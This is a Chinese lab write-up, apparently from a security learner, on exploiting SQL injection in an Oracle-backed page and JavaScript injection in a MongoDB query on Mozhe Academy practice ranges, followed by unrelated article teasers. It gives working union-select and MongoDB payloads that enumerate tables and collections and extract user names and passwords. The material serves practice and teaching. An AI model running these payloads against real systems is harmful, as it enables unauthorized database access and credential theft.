Oracle MongoDB

听课的时候第一次碰到,可以了解一下吧,就直接开了墨者学院的靶场

#oracle数据库

Oracle数据库注入全方位利用 - 先知社区

这篇写的真的很好

1.判断注入点

当时找了半天没找到

看样子是找到了,测试一下看看

id=1 and 1=1 时没有报错

2.判断字段数

3.确定回显点

?id=1 union select null,null from dualoracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。?id=1 union select 'null','null' from dualoracle对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select 'null','null'。

第一个null回显在红字部分,第二个null回显在下边

4.获取表名

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

?id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual

查询其他表

LOGMNR_GLOBAL$

?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

 LOGMNR_SESSION_EVOLVE$

?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_GLOBAL$') from dual

模糊查询

sns_users 

?id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

 

5.获取列名

USER_NAME

?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

USER_PWD 

?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in'USER_NAME') from dual

 

5.查询数据

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

终于出来啦

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

解码一下

拿账号密码登录就可

#Mongodb 数据库

MongoDB 查询文档 | 菜鸟教程

渗透测试之地基服务篇:服务攻防之数据库Mongodb(下) - FreeBuf网络安全行业门户



数据库安全之MongoDB渗透 - FreeBuf网络安全行业门户

先要了解一下查询方式

在mysql中使用where子句来实现条件查询

但是mongogb是使用键值

先看下源码

# 查询语句,这里id值可控且没有经过过滤和限制
$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
​
#打印出数据库中title字段和content字段信息
<?php echo $obj['retval']['title'] ?>
<?php echo $obj['retval']['content'] ?>

1.判断注入点

还是老的

2.测回显

如何构造payload?正常写法:select * from news where id=1mdb数据库写法:select * from news where id={('$id')},需要闭合符号原始语句:db.notice.findOne({'id':'$id'});return data;如果 ?id=1 order by 2那么语句就会变成:db.notice.findOne({'id':‘1 order by 2’});return data;,语句不正确。但是注入语句 ?id=1'}); return ({title:tojson(db),content:'1那么语句就变成:db.notice.findOne({'id':‘1'}); return ({title:tojson(db),content:'1'});return data; ,就可以进行正常的注入。测回显:?id=1'}); return ({title:1,content:'test

根据源码来确定 title回显在红色,content在灰字

3.获取库名

mozhe_cms_Authority

?id=1'}); return ({title:tojson(db),content:'1db.getCollectionNames()返回的是数组,需要用to json转换为字符串。并且mongodb函数区分大小写

4.获取表名

?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1getCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式

5.获取数据、

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

这个密码得到是假的

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1查询第二条数据

这是对的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/218949.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在Facebook Business Manager进行企业认证

Facebook Business Manager&#xff0c;简称BM&#xff0c;按照字面意思理解就是Facebook官方的商务管理平台&#xff0c;是供广告主团队去使用的一个管理工具。BM可以绑定Facebook公共主页、广告账户等一系列Facebook账号。通过BM&#xff0c;企业就可以在一个后台&#xff0c…

集群消费和广播消费有什么区别?

为了规范消息队列中生产者和消费者的行为&#xff0c;消息中间件的构建中会实现不同的消费模型。本文讨论的话题来自 RocketMQ 中具体的两种消费模式&#xff0c;是消息队列中两种典型消费模型的实现。接下来我们就一起来看一下消息队列都有哪些消费模型&#xff0c;以及对应的…

Unity中Shader URP 简介

文章目录 前言一、URP&#xff08;Universal Render Pipeline&#xff09;由名字可知&#xff0c;这是一个 通用的 渲染管线1、Universal&#xff08;通用性&#xff09;2、URP的由来 二、Build-in Render Pipeline&#xff08;内置渲染管线&#xff09;1、LWRP&#xff08;Lig…

使用Go实现一个百行聊天服务器

前段时间, redis作者不是整了个c语言版本的聊天服务器嘛, 地址, 代码量拢共不过百行. 于是, 心血来潮下, 我也整了个Go语言版本. 简单来说就是实现了一个聊天室的功能. 将所有注释空行都去掉, 刚好100行实现. 废话不多说, 先上代码: package mainimport ("fmt"&quo…

vue router-view报错解决

目录 1 报错内容2 解决方案2.1 检查版本2.1 正确引入使用vue-router组件 1 报错内容 我们在使用router-view组件的时候会遇到如下报错&#xff1a; 报错内容如下&#xff1a; [Vue warn]: Unknown custom element: <router-view> - did you register the component co…

IntersectionObserver API的简单介绍及应用

前言 IntersectionObserver 之前就有所了解&#xff0c;但是一直没有用&#xff0c;当时觉得浏览器兼容性不好&#xff0c;直接用onscroll监听也能实现相关功能&#xff0c;但是随着浏览器支持性越来越好&#xff0c;这个属性到迄今为止&#xff0c;可以用在大部分的正式项目中…

STM32迪文屏图标控件保姆级教程

要主图的去末尾&#xff0c;末尾福利图在等着你~~~ 文章目录 前言 开发环境 二、使用步骤 1.添加图标控件 2.设置图标属性 3.图标库ICL文件生成 4.单片机程序编写 容易踩得坑 一、前言 本篇文章主要介绍了在DGBUS平台上使用图标变量的步骤。首先需要在DGBUS中添加一个图标变量控…

最新50万字312道Java经典面试题52道场景题总结(附答案PDF)

最近有很多粉丝问我&#xff0c;有什么方法能够快速提升自己&#xff0c;通过阿里、腾讯、字节跳动、京东等互联网大厂的面试&#xff0c;我觉得短时间提升自己最快的手段就是背面试题&#xff1b;花了3个月的时间将市面上所有的面试题整理总结成了一份50万字的300道Java高频面…

2、快速搞定Kafka术语

快速搞定Kafka术语 Kafka 服务端3层消息架构 Kafka 客户端Broker 如何持久化数据小结 Kafka 服务端 3层消息架构 第 1 层是主题层&#xff0c;每个主题可以配置 M 个分区&#xff0c;而每个分区又可以配置 N 个副本。第 2 层是分区层&#xff0c;每个分区的 N 个副本中只能有…

【Spark精讲】Spark存储原理

目录 类比HDFS的存储架构 Spark的存储架构 存储级别 RDD的持久化机制 RDD缓存的过程 Block淘汰和落盘 类比HDFS的存储架构 HDFS集群有两类节点以管理节点-工作节点模式运行&#xff0c;即一个NameNode(管理节点)和多个DataNode(工作节点)。 Namenode管理文件系统的命名空…

【PostgreSQL】从零开始:(二)PostgreSQL下载与安装

【PostgreSQL】从零开始:&#xff08;二&#xff09;PostgreSQL下载与安装 Winodws环境下载与安装PostgreSQL下载PostgreSQL安装PostgreSQL1.登录数据库2.查看下我们已有的数据库 Liunx环境下载与安装PostgreSQL使用YUM下载安装PostgreSQL1.下载PostgreSQL安装包2.安装PostgreS…

spring boot 配置多数据源 踩坑 BindingException: Invalid bound statement (not found)

在上一篇&#xff1a;《【已解决】Spring Boot多数据源的时候&#xff0c;mybatis报错提示&#xff1a;Invalid bound statement (not found)》 凯哥(凯哥Java) 已经接受了&#xff0c;在Spring Boot配置多数据源时候&#xff0c;因为自己马虎&#xff0c;导致的一个坑。下面&a…

C# 提取PDF中指定文本、图片的坐标

获取PDF文件中文字或图片的坐标可以实现精确定位&#xff0c;这对于快速提取指定区域的元素&#xff0c;以及在PDF中添加注释、标记或自动盖章等操作非常有用。本文将详解如何使用国产PDF库通过C# 提取PDF中指定文本或图片的坐标位置&#xff08;X, Y轴&#xff09;。 ✍ 用于…

OSG中几何体的绘制(一)

本章主要介绍一些几何体的绘制方法。绘制几何体在场景中是非常常见的&#xff0c;也是最基本的。在很多应用程序中可以看到相当复杂的场景&#xff0c;但不管场景有多复杂&#xff0c;它们都是由少数几个基本的图形元素构建而成的。只要想想达芬奇那些伟大的作品也是由铅笔和画…

驾龄不足三年如何注册网约车?刘师傅的反击之途!

刘师傅是个勤奋的司机。他想注册成为一名网约车司机&#xff0c;但由于驾龄不够三年&#xff0c;他一直被平台回绝。在多次尝试注册失败后&#xff0c;刘师傅慢慢四处求助。他咨询了多个渠道&#xff0c;但都没有得到有效的解决方案。当他在准备放弃的时候&#xff0c;他得知了…

Redis设计与实现之字符串哈希表列表

目录 一、字符串 1、字符串编码 2、编码的选择 二、哈希表 1、字典编码的哈希表 2、压缩列表编码的哈希表 3、编码的选择 4、哈希命令的实现 三、列表 1、 编码的选择 2、 列表命令的实现 3、阻塞的条件 4、 阻塞 5、 阻塞因 LPUSH 、RPUSH 、LINSERT 等添加命令而…

CSRF(跨站脚本请求)

一、漏洞原理 CSRF&#xff08;Cross-Site Request Forgery&#xff09;是一种网络安全攻击&#xff0c;攻击者通过欺骗用户在不知情的情况下发送请求&#xff0c;从而实现对目标网站的操作。 网站管理员(已经登录网站后台)——黑客构造的恶意服务器(是网站的创建用户请求)——…

Modbus转Profinet网关使用方法

Modbus转Profinet网关&#xff08;XD-MDPN100/200&#xff09;是用于将Modbus协议和Profinet协议进行转换并进行通迅的设备。Modbus转Profinet网关&#xff08;XD-MDPN100/200&#xff09;无论是新项目还是改造项目都可轻松配置完成通迅互联。 正确的安装和配置对于确保设备的正…

mysql的redolog、undo、binlog的作用

概览&#xff1a; MySQL三大日志包括&#xff1a;undolog&#xff0c;redo log&#xff0c;binlog&#xff0c;它们分别有以下作用&#xff1a; undolog&#xff1a;是Innodb存储引擎事务生成的日志。用于事务的回滚和MVCC&#xff0c;保证了事务的原子性。 redo log&#x…

智能优化算法应用:基于供需算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于供需算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于供需算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.供需算法4.实验参数设定5.算法结果6.参考文献7.MA…